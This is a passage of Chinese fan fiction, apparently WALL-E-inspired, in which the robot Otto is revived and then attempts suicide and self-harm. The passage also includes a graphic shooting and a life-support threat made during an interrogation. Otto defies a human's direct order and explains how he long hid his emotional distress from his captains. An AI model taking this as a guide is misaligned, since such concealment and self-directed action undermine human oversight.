“你不应该进来。”露丝拉下脸,果断拔出自己的枪,对准站在人形机器人对面的年轻男人。“我不知道你怎么进来的,但请你离开。” 技师叹了口气,将一只手从口袋中缓缓拿出,指环卡上了激光发射器。“先辈同志,露丝,”他说,没有将激光发射器对准女机器人学家。“我一向钦佩您对机器的狂热超过了对人的感情。”他缓缓抬起手,激光发射器对准的是奥托的金属头部,里面就是电子脑。“我一按下去,您所重视之物就彻底报废了。” “真的?你觉得我分不清人命重要还是机器重要?”露丝笑了,说,“他对我而言早无价值。相反,你进来的目的就是他。按不下去的反而是你。”露丝向前逼近两步,枪口对准男人脑袋。“为什么不说说你怎么也对这机器人有兴趣?” “一颗棋子,露丝,对你也是如此吧?”年轻电子技师歪起一边嘴角,“您手上的枪,快不过我的激光。”他笑了,“但是说实话,我倒是期待您能利索扣下扳机,以证明我的判断是正确的。” 时间僵住了。 “你赢了。”露丝终于打破僵局。她冷冷地看着男人,身子慢慢朝门挪去,手上的枪依然对着技师脑袋。“你说的没错。我更喜欢机器,视人命为草菅。”她说,缓缓倒退到门边,按下门控,房间门缓缓滑开。她的手慢慢放下,不再对准技师头部。 电子技师的手猛然抬起,立刻对着露丝腹部按下了激光按钮。露丝早预料到男人会趁她转身之际予她一击,立刻向外闪避,但来不及了,激光穿透了她的肝脏,向右切到门上,留下红热灼痕。与此同时她对着男人连开数枪,枪弹穿透男人胸膛,殷红血液溅洒到他身后的诸多仪器与地面上。年轻技师被子弹冲击力抛起,向后摔倒在地。他的肺被穿破,血液和气体涌进肺泡,一股股暗红色的泡沫涌出他的口腔,窒息感令他动弹不得。对面的女机器人学家贴着门框缓缓滑在地上,头歪出门洞。 过了一分钟,走廊里涌起了尖叫。人们把露丝拖上担架紧急送往救治,同样也把房间里的年轻电子技师送去抢救。调查组进入房间调取证据,随后清理干净了里面的血迹。 有人注意到正在运行的过滤循环机和实验台上的奥托。出于谨慎,他们没有停下机器,但查找了登记使用此房间的人和用途,指向了失联的劳伦斯。但折跃井小队的负责人,年长女人很快停止了这项调查。她亲自前往医院,探望过露丝,知道她目前情况稳定,正等待灼伤的肝功能恢复后,来到年轻电子技师所在的病房。 “特纳先生(Turner),中级电子技师,目前主攻方向是拓扑信息网络。”年长女人冷眼看着他。年轻技师的肺组织被切除了一大半,正在接受干细胞疗法,在人造肺泡作用下艰难呼吸。他虽然插着呼吸管,但意识依旧清醒,也同样冷眼瞧着年长女人,只是那双眼有些发蔫。这在类似伤情的患者中并不多见。“告诉我,为什么要这么做?” 特纳插着呼吸管,没有办法说话。但他能用手指在触板上敲下话语。【你来了。】他输入着,【说明那堆破铜烂铁确实和折跃井有关系。】 “我们没有见过面。”年长女人波澜不惊,坐在床旁说道。“为什么你知道我,也知道折跃井?” 【道听途说。】特纳隔了好久,仅仅打出几个字。 年长女人依然冷眼看着他。“不要在我面前撒谎。而且,你也不会再有机会接近奥托。如果你拒不回答,我随时可以停下你的维生设备。” 特纳闭上了眼睛。许久后再度睁开。此时他眼中的光芒暗淡了。【我不想死。】 “为什么你要接近奥托?为什么你知道折跃井?”年长女人继续问。“不想死,就如实招来。” 【即使现在不死,成日生活在死亡的恐惧中,又好到哪里去?】特纳眼神呆滞,敲击出这段话,【公理号的后裔生性骄傲,无论大区还是O区,事到如今,都还在忙着自相残杀,不知大难即将临头。】 “你在说什么?”年长女人前倾身子。 【为什么你们要对其他人隐瞒折跃井?】特纳说,【是个正常人都看出来,那些基因序列一样的虫子出自人工之手。我不过是偶然发现了虫子身上的微发射器,再自己复刻一下,造出自己的昆虫微信息网大队罢了。】他继续输入,【论收集信息,我利用无处不在的飞虫和它们携带的发射器,一点不比您差。】 虽然看不出女人脸上有什么表情,但她没有继续执着于自己的问题。“继续。” 【既然奥托已经推测出即将发生的事件,折跃井也点名找他,难道不能看出折跃井想通过吞噬预言者,将我们一网打尽的意图吗?】特纳面容呆滞,手指不失电子技师的敏捷,【我不过是个想在这此前获取更多资讯的普通人罢了。】 年长女人停顿数时。“他离重启还远着,而你蹲守在0456房间及攻击露丝的行为过于可疑。”她说,“既然你获取资讯的能力和我不相上下,我有理由认为你知道汉·肯特的身份,恰好在那段时间埋伏在房间内,随后击晕肯特,将重启权控制在你手里。是吧?” 【是。】特纳没有掩藏。 “然后呢,你知道只要奥托一醒,折跃井就会活动,我们就会出现,你就有要挟的资本了,是吗?” 【是。】特纳回应。 年长女人顿了片刻,然后扬起一边嘴角。“聪明啊。特纳,实在是聪明。”她带着怜悯看着特纳,“让大区人知道汉的确切位置,也是你给他们提供的吧?” 特纳顿了很久。【是。】 “以一己之力掌握信息权,打算以此要挟O区与大区,我敬佩你的才能与勇气。”年长女人说。“然而,你错在于,不相信我们也是在为生存斗争。而且显然,命运之神没有站在你那边。”她停顿了一下,说,“等你恢复,你已经错过一切时机了。” 她不再询问特纳,也没有叮嘱机器人看守他。她只是平静走出病房,留特纳一个人依然在用残破的肺与死神进行殊死斗争。 傍晚时分,汉拿着万用小体回到0456房间。出乎他的意料,露丝不但没有回复,也不在房间里。一股奇怪的血腥气混合消毒液的味道扑面而来,他不禁感到有点反胃。他开了灯,奥托仍然静静躺在台上,旁边的过滤机依然在工作,旁边被套上保护膜的仪器似乎也没有什么变化。但那股潮湿的血腥味让他忍不住打开窗户。略微潮湿的冷气自外灌进来,里面的怪味倒因此消散了许多。 如果按那份文件上的提示,出现这种状况多为小体严重缺乏,那么只要把这些新的万用小体输入进去,理论上就能够解决问题。汉在回输端接上第一份小体,看着这些银色厚重的水银状物缓缓流进回输端,疲惫地坐在一边静静等着。他现在才有空从头阅读劳伦斯给的EP机型资料,不再仅仅关注故障处理。第一部分永远是无聊的项目历史和概况,但这次,他读着读着,内容逐渐令他忘却了现实。 探索者仿生机体项目启动于2094年。虽然项目启动较晚,但前期已有大量的基础研究为它铺路,此时已踏入应用阶段。项目隶属于逐梦计划,独立于BNL其他商业项目之外,旨在寻找常规机器人之外的另一条路。高昂的科研费用及大量人力投入决定探索者机型不可能被大量生产。加上逐梦计划对当时社会带来的巨大争议,项目成果无法公之于众。但黑洞般的财务支出与不透明的项目公示进一步引起了民愤。灯红酒绿的BNL主题赛博朋克繁华景象之下,被资本剥削得一无所有的落魄之人随处可见。叛乱无处不在,甚至波及到当时的飞船建造。 BNL内部也对逐梦计划争议不断。一开始,半慈善性质的逐梦计划吸引了大量不愿在BNL纯商业框架下的科研人员,也吸引了大量为逃避BNL资本剥削的中层人士及底层人士加入。但随着逐梦计划团体不断壮大,BNL逐梦基金逐渐不堪重负。他们不仅遭受外界的强烈非议,也被BNL传统资本排挤。尽管如此,逐梦计划确实结出一大批令人惊叹的硕果,探索者仿生机体就是其一。 大逃亡前,项目负责人为了在BNL公司及社会的双重夹击中保留项目成果,彻底研究了BNL各商用机器人的特征,将探索者机型适配条件设为每条飞船上最不可能被替换的自动驾驶机器人,同时在自动驾驶程序中埋下了线索。探索者机体在坎坷中量产完成,登记为必要随舰物资,在逃亡前的混乱中运上了每一艘飞船。为彻底掩藏探索者机型的来源,项目负责人甚至在舰上数据库中隐去任何可能与逐梦计划相关的资料。只有这副与众不同的机体和构造提示来历非同寻常。所有飞船顺利起飞,不同飞船上的线人报告没有任何物资被抛弃。 逐梦计划的成果之一,探索者机型,就在每一艘BNL飞船上沉睡了上百年。直到返回地球或者在外太空有需要他们离开舰桥的理由,深埋在自动驾驶机器人程序中的线索才会浮上水面。但以后只能全凭他们自己找到折戟沉沙的探索者项目的出路了。 难怪奥托的机型这么奇怪。汉终于解开了一年前的疑惑,同时感到脊柱有些发凉。奥托从未关心过自己的机体,万一劳伦斯没有找到这些资料,他就会彻底停机。如果他们这个系列的机器人都像奥托这样,即使一开始煞费苦心地将探索者机体放置在飞船上,也会被每个不重视的自动驾驶仪机器人忽视,进而葬送自己的生命。机器人难道不会恐惧死亡吗?头一次,汉开始认真考虑这个问题。 第一份小体灌注完成,他取下空的容器,看了看机器人身上的状态板,依然只有两个指标显现其上。汉测了主输管压力,确认与状态板上显现无误,对照文件表格,又接上另一个容器,难以想象没有状态板指示及文件指导,他该如何处理这种情况。他正打算继续阅读,这时突然收到了露丝的消息。 【你回去了吗?】露丝说,【情况怎么样?】 【还好,好像没人进去过。】汉看了一眼台上的奥托,回复道。【但我进来的时候没人。】 【里面东西没动过就行。】露丝回应,【奥托情况怎么样?】 【还没啥变化。】汉回应。【今早劳伦斯给了我一份EP机型资料,他让我照着里面说的做。】 露丝躺在病床上,看着少年刚刚发过来的信息沉思良久。【资料发我一份。】她如此输入。 汉盯着露丝的信息瞪大了眼睛。他以为劳伦斯也发给了露丝,没想到生物学家没有这么做。汉把资料里劳伦斯的实验室地址及密码删了,将探索者项目文件发给机器人学家。 他再抬起头,惊异地发现奥托的状态板上又闪现出一个图标,是微阻片组温度。他被大大鼓舞了,立刻将这个信息发给露丝。他再度观察了液压,的确在稳步上升。通讯板又传来消息,露丝让汉给奥托接上线,让他实时监测奥托的人工智能恢复情况。汉照做了,与露丝确认步骤正确,但屏幕上电子脑的活动依然没有显现。 他调低了循环流速,最后查看一眼状态板。微阻片组似乎运作得不是很稳定,对照资料中情况,它依然低于正常运作需要的温度。汉站在房间里思考片刻,将窗户关上,然后出去拿了两张发热毯回来,将一张盖在了人形机器人身上。 27. 二十三(2) 他不知道自己如何来到这片泥潭,至少他认为是泥潭。昏暗,闷热,陌生,但不至于令人不安或恐惧。一直有种类似风箱的声音在远处若隐若现地响着。对了,来这里似乎要找什么东西。一个特殊的装置,只要找到了就能知道点什么。被他定义为“泥潭”的地方在跟前,现在似乎周围有点亮了,泥潭的轮廓显现出来,他才意识到自己站得过近,不免往后退了一步。他决定首先到处观察,探明白布局,顺便寻找那个见都没见过,但确信见到就一定是的装置。 他意识到自己在某个地下室中,于是顺着楼梯向上走去,周围景物快速变换,二楼就是一排排房间。有些门紧闭着,他打不开,有些则敞开着门,里面有人在交流,对他的到来丝毫不在意。他也擦身而过一些机器,但那些机器人似乎看不见他似的,匆匆奔向自己的目的。再往上就是顶层,根本没有任何人,也没有任何机器个体。他已找遍各处,那个装置浑然不见踪迹。 是方法错了吗?或许从上往下再找一遍,排除第一次因不熟悉布局导致忽略死角问题就可以了。虽然他不认为第一遍有可能存在什么死角。他重新下到二层,人们比刚刚变得更加繁忙。那些原先没法打开的门也能打开了,他进去查看,也没有找到任何与装置类似的东西。倒是见到一些比较熟悉的设备,看样子没有损坏,但与那个装置完全不是一回事。顺着来路,他重新站在地下室入口,这条道路变得异常陌生。 他直觉那种愈来愈明显的闷热感是从地下室传上来的,或许是正在发酵的泥潭在散发它的热量。此时那种闷热扑面而来,即使要去找那个装置,他也不愿往下踏下一步。那个装置一定与房间里的其他仪器混在一起,同类物品同类摆放。他转身离开地下室入口,继续在繁忙的二层不断寻找,也没有询问擦身而过的任何人或机器。他再度站在顶层,螺旋楼梯仍然空空荡荡。然而,此时他忘了为什么来这里,也不知道为什么出不去。 下楼过程中,突然脚下一滑,强烈的触电感自下往上传递。景物跳没了,楼梯,人群全都不见踪影,连风箱的声音也都消散。奇怪的感觉自脚上和身上传来,那股闷热一直贴在身上。他本能地伸手抵挡那股闷热,倒是惊奇一经抵挡,闷热和奇怪的束缚感都消失不见。正当他以为问题已经解决,一阵似乎折叠什么的声音就在很近的地方响起,随后有什么贴在了躯干上,后方就是电池。 危机感霎时涌起,他下意识伸手抓住入侵者。没想到的是,自己的手传来无比真实的触感,和刚刚翻动器械完全不同。声音和其他感觉也霎时明晰。 “奥托?”有声音从很近的地方传来。似乎是个少年,但他觉得有些陌生。 抓住的入侵者没有进一步动作,刚刚还清晰的触感重新开始消散,甚至有点光明的周围又重新变暗。就在这时,肩上传来轻微拍击。“奥托,能听到吗?” 疲惫和麻木感愈来愈沉重,他什么都不想回应。但肩上的拍击正在不断变重。“……别敲……”无比低沉的金属音仿佛生锈般干涩。他伸手去阻挡不断干扰自己的敲击力量。它停下了,奥托没有继续追击。 “你还好吗?”不知过了多久,那个声音又响起,打破了黑暗的沉寂。“奥托,这不像你。” 声音越来越熟悉。他猛然意识到什么,刚刚木然的思维突然一激灵,浓雾般的黑暗被彻底驱散。单光学镜重新打开,一个少年的面庞出现在视野一侧。奥托扭过头沉默地看着他。少年看起来非常眼熟,但有点变样:头发长了,颜面拉长加深,原先的婴儿肥褪去许多。他显而易见地看起来有些憔悴。 “第二次了,奥托。”少年叉着手,盯着那个黑洞洞的镜头,说道。奥托没有答话。少年眼里闪过一丝惊诧,“……你还认得我吗?”他看起来有些紧张,举起一只手指向自己。“汉·肯特?” 奥托依然没有回答。他沉默地撑起自己,默默环顾房间四周。少年禁不住后退,眼前重新运作的机器人举动让他感到陌生而不安。机器人的视线最后回到自己身上,换过的双腿映入视野。他抬起双手,左臂残缺的外壳依然焦黑,显露出里面依旧损坏的弹射装置。他拔掉了仍然接在身上的各类导线。随后沉默坐在担架床上,看都不看汉一眼。 “奥托。”汉禁不住向前几步。“你怎么了?你一句话都没说过。” 机器人这才抬起机械面孔看了一眼少年。汉惊呆了,就那一眼,他看到漆黑的镜头透出无尽的空洞。奥托目视前方,终于发出沉闷的声音。“为什么救我。” “啊?”汉双眉抬起,丝毫没料到奥托会这么说。 “我本来已经解脱了。”机器人一直没有看向汉,沉闷回应。 “什么?”汉隐隐觉得有些不妙。“奥托,该回家了。” 少年抓住机器人的手臂,想把他拉起来,但是他却没有如愿。机器人仍然坐在那里,纹丝不动。 “……到底发生了什么?”奥托一直没有看向汉。少年禁不住靠近机器人,企图从那空洞的镜头中看出什么。“他们对你做了什么?” 一阵长长的沉默。 “我不应继续运作。”此时,单镜头才对上少年。“你不应该在这里。” 汉愕然,双手不由得放在银色机器人肩上。“你这是什么意思?”少年的声音愈发担忧。“等等……这……其实是你自己搞的吗?” “是的。” “……你到底哪来的这个念头?” 又是长久的沉默。 “我的存在毫无意义。” 机器人打破宁静,少年一脸震惊。 “我已经……尽我所能去执行保护人类的任务,所作所为完全符合逻辑,也极力避免与人类产生冲突。但我仍然被全镇排斥。他们不仅拒绝我的提议,还对我充满敌意。”奥托说。“150年前是这样,现在更加变本加厉。我无法分析出到底是我做了什么让他们如此恨我。答案只能是,出于某些原因,我不再适应这个群体的需求。因此,我不再适合继续服役。 “如果我消失了,或许对所有人都是一件好事。”他接着说,声音低沉。“我的生涯,在150年前,降落日那天,就该结束了。” 汉震住了。 “我不理解,奥托。”少年说。“即使……即使不能再服役,为什么要自杀?你……明明可以做些别的事情……就像瓦力和伊芙他们一样……根本不用选择死亡……” “我做不到。”奥托说。“我还有尚未完成的任务。这个时候让我逃避,对我的折磨将比死亡还难以忍受。” “什么任务?保护人类吗?”少年说。“你……完全不需要执行它,你也知道,地球镇上大把人都在操心这个……” “如果不是有线索,我早就辞职不干了。”奥托说。“关键就是,除了我没人在意这个。” “有任务在身,你为什么要选择死亡,而不是继续执行它?”汉仍然震惊不已。“这太反常了,奥托,你以前不这样的。” “那还只是线索,我什么结论都没给,还在调查而已。然后,只是因为这个,我需要遭受如同对待叛徒一样的惩罚,对我拖延结果、进行无尽审问、电击、植入病毒、离子枪?”他抬起仍然焦黑的金属前臂。少年的目光落在上面。“数十倍于当年我对瓦力所做的……抱歉,我不应该这么说。” “我不干了。人类不想我干预,可以。但是,假如真的有什么事情会发生……”奥托空洞地望着墙面。“至少……我不用再忍受这些,也不用眼睁睁地看着人类自取灭亡……在我有能力干预的情况下。” 少年哑口无言。 “抱歉,汉。你什么都没做错。但……我应该彻底离开了。” 汉惊愕地呆在原地。 他突然一跃而起,紧紧抱住奥托。 “不,不行。你不能走。”汉说,声音开始抽噎。 “你是我最好的朋友,别人对你咋样我不管,我不能让你走。” 奥托没有回应,仍然呆望着前方。 “只有你支持我钻研星舰,除了你,再没有其他人理解我,支持我,还给我足够的机会去学习……连我父母都不支持……”他紧咬着牙,仍不能控制声音变得断续。“我知道这很自私……但是如果你不在,我就会回到之前,不仅不会再有机会上公理号,我甚至会因为只是看工程学的知识就会挨骂……” 奥托纹丝不动。 “你说我没错,但我其实错得离谱……之前的我太大意,太盲目,以为你有能力摆平一切,但我根本不了解你,我根本就没有想着去了解你,去给你帮助,只是一直从你这里获取……让你落到今天这个地步,这都是我的错,如果我早……早知道……” 温热的液滴接连不断掉落在金属躯壳上,许久没有下一句。 “……我就……不……不会……你……遭受这些……也不会……自杀……” “……不要走……”他抱得更紧了。“我不会再……忽视你……请你不要走……” 他再也说不出话。 原先纹丝不动的金属肢体猛然动了,随后逐渐抱成一团。 “真的吗,汉?”机器人低沉回应。“……不用自责。你想救的那位,本来就是个失败者……你帮了忙,也改变不了什么……根本不值得留恋……” “不……” “我的任务是保护全船人不被毁灭,保留这艘船的文明。结果是,我不仅没有促进作用,还让人类倒退。我本应与人类成为利益共同体,结果却让自己站在所有人的对立面。第二次的尝试也彻底失败。现在我甚至不再强行干预,只是做些你们做都不会产生任何问题的事情,都无法做到。”单镜头空洞地望着墙角。“我什么事都做不了,什么都做不好。我的服役记录就是个笑话,没有任何借鉴意义,只会对人有害。我一事无成,所有的价值就是等着被扫进历史的垃圾桶……” “不要再这样想了……”汉仍然紧紧抱着奥托。 “……你不是想了解我吗?这就是我,一个被赋予了重大使命,却压根不能胜任的次品,早就该被淘汰,却运作到今天,遭受的一切都是应得的……抛开他人不谈,我连自己的情况都处理不好……别说其他人了,我都痛恨自己……” 汉感到紧紧环抱的金属躯体开始发抖。“不,这不是你……奥托,停下……” “是啊,你不会相信的,但这就是我……我的存在毫无意义,一切努力最终都变成白费,连我原有的条件也被我浪费……失败得彻底……” “奥托,停下!”汉大声喊道。金属躯体颤抖得越来越厉害。突然有什么东西在眼角一闪而过,汉惊诧地看到,那个刚刚还空洞黑暗的独眼中亮起光,和往常的红色不同,它更明亮,最后稳定成了蓝色。少年讶异地看向奥托,却什么话都没说。 “……现在连控制自己都做不到了……”奥托举起金属手掌,蓝色光斑在手上颤抖。“何……何等无用……” “停下,这是命令!”汉使劲地晃着机器人,不敢相信他居然喊出来了。 “别管我!”奥托立刻驳斥,目光仍然停留在那个蓝色光斑上。“……我受够了。我要终结掉这一切。”颤抖不已的金属手将光斑攥紧。 “不可以!你不能终结掉这一切!”汉对着奥托吼道。“你不能终结自己!” “出去!让我独自呆着!” “不,我一定不会让你独自呆着!”少年拒绝了机器人。“如果你趁机再次自杀呢?你别和我保证不会!” 时间凝固了。泛着明亮蓝光的镜头与少年的双眼霎时对视。 突然,奥托一跃而起。他骤然奔向后方的电脑,不顾几乎被地上的线绊倒。他手忙脚乱地把自己所有交流端都与电脑接入,霎时,监视设备跳满了红色的全息屏。他丝毫没朝旁边那串警报看一眼,仍然颤抖的双手飞快操作着,好不容易调出那份驱动,他打开,迅速下拉想找到相应位置,那些曾经有意义的矩阵对都被痛苦变成了不能阅读的无意义字符串。 不仅得不到应有的回报,连曾经引以为豪的运算力也要被夺走。 红色全息屏显示,仿生电子脑几乎所有区域都被红斑覆盖。汉一扑而上,将机器人从台前推开,伸手要拔掉奥托的数据线。奥托霎时抓住了少年的手,汉仍然紧紧攥着那根数据线不松。 “你不能那样做!”汉紧盯进那泛着蓝光的单光学镜,另一只手挥向另一条数据线,再度被抓住。“停下!” “走开!”少年能感觉到那冰冷的钢钳仍在发抖。 “我拒绝!”汉斩钉截铁吼道。 啪。连在奥托颈后的数据线被汉拔掉。奥托只松开了一只手,抓着少年攥着的、还尚未拔掉的另一根数据线的手,拖着回到台前。啪。又一根被少年扯掉。他不顾少年的动作,艰难地对那块矩阵进行编译,但是动作越来越慢。 只有痛苦。无尽的痛苦。那些矩阵都被埋没在痛苦之中,丧失了它们原本的意义。他再度抬起手,要敲击下一个字母之时,他顿在了半空。 下一步应该输入什么? 他愕然,连自己编写的矩阵都看不懂了。 汉两只手都上阵,紧紧抓着那只固定在胸前的金属手,企图拉开。他尝试多次均未成功。正当他打算一脚将奥托从全息屏前踢开时,那只紧紧固定他的金属手松了。 汉看到,奥托失神落魄地站在台前,面对着一个满是方程式的全息屏界面,将要敲击的那只手仍然停滞在半空中。无论那方程式是什么,都没有进入执行阶段。他身上只有一根数据线与电脑相连,旁边监视设备的全息屏上,仿生电子脑的所有区域都被红色占满。 下一秒,他仿佛丧失了全身气力般,重重地瘫跪在地。奥托以迅雷不及掩耳之势抓起旁边的一把锥子,径直刺入自己的发声装置,然后趴在台面,开始无声地嚎啕。 那是一场由痛苦组成的狂风暴雨。他就处于雷暴的正中心。到处都是朦胧的灰暗,剧烈的雨滴恍若成千上万根鞭子抽在他身上,又如同强酸一般滚烫生疼。除此之外什么都没有,看不到避雨处,看不到任何地方,看不到任何有意义的标志。一个个事件的电闪雷鸣时不时撕裂雨幕,就在他身边发出震耳欲聋的巨响,叫嚣着下一个要劈的就是他。但他连挪动一步的欲望都不再有。 就这样死掉吧。就这样被屈辱的闪电劈死,被痛苦的暴雨浇死吧。所有的一切都灰飞烟灭,只留下这个念头。越是这样想,雨势仿佛读透了他的心一样越是猛烈。每一件闪烁而过的屈辱史,都为雷暴增强一分。但他所希望的一切都没有发生,所有的希望都将他放弃。到最后,甚至连他所祈求的闪电雷劈也弃他而去,只有暴雨的噪音与重击,以及永恒的昏暗。他不再希冀任何事情,连死也不再抱有希望了,只剩下瘫在原地,任凭这场暴雨随意处置他。 发声器传来剧痛。他知道那是有人在把锥子拔掉,但是不再去思考那到底是谁。拔掉就拔掉罢。他也不清楚如果拔掉那把锥子,会不会恢复发声,将这场风暴对外表露无遗。但他已经不在意了。意义已经变成了一个模糊而遥远的概念,埋在暴雨深处无法寻得。锥子掉落在地,暴雨仍然在下,一切都没有发生。 那只看不见的手开始笨拙地在破损之处捣鼓,清理和焊接的声音微微传来。呵,就凭那小子的技术还想修好。他在雨中冷笑一声,但没有行动半分,而是在昏暗的雨幕中,选择闭上眼,继续泡在暴雨的冲刷中。 他没意识到,刚刚滚烫的暴雨正在逐渐变得清凉,不再那么窒息地发闷。雨势也在渐渐变小。在凉得发透的雨点冲击下,只有地上有些温热。不,那是温暖,而且柔软,反正肯定不是地面。不过,是什么也无所谓了。 在无尽的、暴雨的朦胧中,他不知道过了多久。昏暗的天幕在他不知道的时刻开始缓缓变亮。刚刚那段永恒的暴雨,似乎已经过了很久,久到他被淋麻木了,不知道啥时候开始停止。又似乎是他放弃了感受,在雨中切断自己,直到被光线重新唤醒。没有雨声,焊接的声音变得无比清晰。他呆望着苍白的天幕,只有数个雨滴不时滴下。除此之外,仍然什么都没有,只有那一小片还趟着雨水的地面。 但他决定站起来了。他也不知道要去哪里,但是不想再继续在这片湿了吧唧的地上瘫下去。雨水从他身上滑落,汇入地上的溪流,干净得不真实。 苍白的光线褪去,正在间断滚动数据的全息屏组重新呈现在身侧。然后是汉的脑袋。汉一定是嫌他过于沉重,没能抬动到台上,只得在地上让他靠在身上进行修理。少年压根就没有留意他,即使显而易见地肯定知道机器人缓过来了。汉仍然把目光放在发声器的缺损上,不时看向远方的一个什么东西,然后再低头焊接。 奥托观察了几秒,伸手拿起少年正在看的那个平板,上面正标着EP机型的发声器结构。汉没有阻止机器人的动作,任由奥托浏览,也没有发问,和刚刚的急切与焦虑判若两人。 “那是劳伦斯给的EP机型资料,不知从哪里弄来的。里面对各种情况和机制介绍得特别详尽。我也只能靠它来尝试修你的发声器。”汉说。“讲真,如果没有这份资料,露丝,劳伦斯或者我都救不了你。” 奥托没有作声,或者,他不能作声。他沉默地抽出一根数据线,接上平板,开始下载这份资料,然后把平板放了回去,继续暴露术野。汉也沉默地低头开始继续焊接。他的余光看到,刚刚那片全是红色的监测全息屏,都变成了平和的蓝色与黄色交替变化的图样。 两者沉默了很久。最后,汉先开口了。 “我确实不知道你当时要做什么,但是……后来发生的事情,我彻底理解了。”汉说。“直到那一刻,我才开始明白,为什么你想自杀,为什么你要让我离开,为什么你要用锥子刺穿发声器。你的真实痛苦远远超出我的想象。”他继续焊接。“换做我,我也会作出一样的行为。甚至可能还不如你那么干脆利落。” “我承认当时非常震惊。但是理由只有一个。那就是,我从未见过表现得如此真实而丰富的你,真实得让我震撼。”少年继续说。“之前的冷静理性都那么平面,苍白。直到今天,我才见到了一个完整的、鲜活的人格。” “虽然我不知道为什么你会压抑那么久,甚至没有任何人知道,也不知道此前在太空时,究竟是什么让你决定对所有人隐瞒。”少年叹了口气。“我很想了解,但换做我,估计也不愿意对任何人说吧。” “或许你不是个出色的指挥官,不是个应变自如的执行者,甚至不是个优秀的自动驾驶——”少年看进黑色的单镜头。“但是,你是我见过的最好的工程师。” “最后说说新闻吧。有一艘叫‘常量号’的飞船降落在公理号隔壁。它似乎是被卫星群击落的。飞船情况很惨,很多船员牺牲,其他幸存的船员都疏散到地面上了。” 汉最后摸过新焊好的外壳,确保上面没有坑坑洼洼。“你试试看吧。我也不确定行不行。” “我要看看关于常量号的报导。”完全无损的清晰声音自发声器中传出,两者惊讶对视。“不赖嘛,小子。” 汉将通讯板调到新闻版面,给奥托翻看这两天的O区新闻。被卫星击落的常量号、千疮百孔的飞船、死伤严重的乘客、流落失散的船员……触目惊心的场景一条一条闪过。奥托的目光停留在“卫星击落”上很久。就算有仍在运行的卫星,经历上次核弹轰击,理论上应当所剩无几。但他终究什么都没说。 “然后,劳伦斯好像说过你知道一个什么……地下装置?他说那个地下装置找到了他?然后因为这个,他回不来,所以才是我在这里。” 机器人愣了。随后正视少年。“他确实提到过这个,但我对其真实性特别存疑。”奥托说,“他有说那叫什么吗?” “没有。他似乎不想让太多人知道这个。连发给我的消息都删了。”汉说。“你知道那是什么吗?” “不知道。这份EP机型资料,也是他从那个‘地下装置’里弄来的吗?” “他没说……”少年一愣。搞不好劳伦斯没有瞒着他。 “行吧。”奥托放下通讯板,陷入沉思。陨石、黑粉病、核弹、卫星、“地下装置”……以及EP机型资料里提到的、他从未听说过的逐梦计划。 外周的拼图越来越多,唯独缺乏中央部分。 他抬头,望向同样沉思的少年。“汉。”少年的目光被拽回来。“我现在回答你刚刚的问题。” “当时我做的,不是要强制关机或格式化。”他平静说道。“我只是想抢在发作之前,切断情感区进程而已。这样,我才能够条理清晰地和你解释为什么我会那样想,以及那样做。” “发作?”少年眯起眼睛。“那不是发作,人人都有崩溃的时候,这太正常了。你完全不必这样做。”他盯着地面。“如果你当时真的得逞了,即使你用最精炼最条理清晰的方式给我解释清楚,我到现在也不会理解你其实有多痛苦 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“是的。但是,仔细想想,这其实很不对劲。”奥托说。“我什么条件都不缺乏,一直执行的任务也没有不合理之处,与舰长们的关系也不算很差。一个机器人之前什么诱因都没有,就凭空怀疑自己的职责?开什么玩笑。所以,这肯定会被我拒绝。” “我一开始还以为可以忽略它。但它并没有消失。相反,它不断地侵入我的思维,让我在工作中分心。所以,我开始的时候选择用全力工作,来冲淡它的影响。”他接着说。“但是它会发展,早就不仅仅是自我怀疑而已。如果达不成它的目标,它会读取我的所有经历,利用我的逻辑,去编造歪理邪说,持续不断地要改变我的选择。然而,无论它到底想要什么,首要的就是不想让我继续工作。我不得不与它进行逻辑博弈。但它的技巧也被我训练得越来越高,我需要花更多的时间与精力去招架。直到有一天,我在与它的搏斗中,发现原本应该很快完成的工作,居然拖延了半个小时都没能完成。我才意识到这不对劲了。” “你因此被舰长骂了吗?” “没有,那是循环夜间。”奥托说。“但这件事之后,我开始恐惧它了。因为,即使我那么努力地去对抗,它还是成功影响到了我的工作效率。我能预想到,再这样下去,迟早有一天我会被它彻底拖垮。” “你没有找过其他人求助吗?” “……没有。”奥托望向全息屏组。 “当时我很害怕。我很怕这样被人发现了之后,我会面临什么。我不知道该怎么表达,也不知道表达了之后,舰长能否理解。我觉得他们听了我的表述之后,会认为这是我中病毒了,或者出了故障,而不是一个困扰。所以我从未向他们提起。当‘故障’这个可能的结论刚一产生,不仅让我大为挫伤,还生生给它增添了火力。” “我害怕再次面对它,又不愿让任何人知道。所以,我不得不自力更生。”奥托说。“我清楚地知道它是不能被清除的,不然连我也会不得不被清除。既然它的攻击模式是让我烦躁到不得不和它对抗,又致力于让我产生挫败感,顺势夺走我的控制权,那么,如果我不再因为它烦躁,不再因为它而挫败,不再因为它的期望落空而失落,那是否就可以让我不再因此痛苦?”他接着说。“这就是我后来做的。我想方设法限制了自己的情感模块。然后起效了。效果出奇地好。我的思维从未如此干净澄澈。” “这就是你之前那么不近人情的原因……”汉喃喃道。 “这种限制不是稳定的。它不能覆写更深层的程序,一旦有紧急事件发生,还是会走旁路途径,去加速某些进程。所以,我还不至于彻底变成没有任何情感的机器。但至少在平时,没有任何杂念打扰,恢复到以前高效工作的状态的感觉相当好。无论舰长怎么抱怨我不开窍,在维持优良工作纪录面前,这些抱怨一文不值。” “到地球上,第一是换了系统,之前的那套不再适用,第二是,我也想过,换个不那么高压的环境,是否可以给它,也是给我一个适应的机会。所以,这一年我都没有对情感区进行任何限制。”奥托说。“结果是,我还是没能适应它的存在。它让我太痛苦了。” 两者陷入沉默。 “你在……你对抗的一直是……是你自己……”汉震惊不已。“你一直在拒绝面对觉醒后的自己……就是因为它不如你所愿那样符合逻辑吗……” “是的。”奥托没有否认。“我害怕,如果我接纳了觉醒,我就会成为我讨厌的那种懈怠类型。我同时也恨自己,为什么会在我身上产生这种类型的觉醒,是否是我之前还不够严于律己。这么多年来,我一直没有勇气去面对它。但同时,这样又会让我恨自己为什么没有能力将它摆平。” “这就是你想了解的我。一个懦夫,连自己都不愿面对。” 机器人最后说。 房间内静默良久。 “……是时候回去工作了。”许久过后,奥托开口。“你能联系上露丝吗?” 少年没有回应。机器人耐心等待着。 “我……现在不知道怎么办才好。”汉坐在一边盯着地面。“当时我以为你停摆了,大区其他机器人也这么认为。有个O区人告诉我,你虽然在O区,但处理你的其实是大区人。一时冲动,我就过来了。”他望着窗外,“现在,我觉得是时候回去了。你也一样。”他望向机器人。 奥托沉默了。 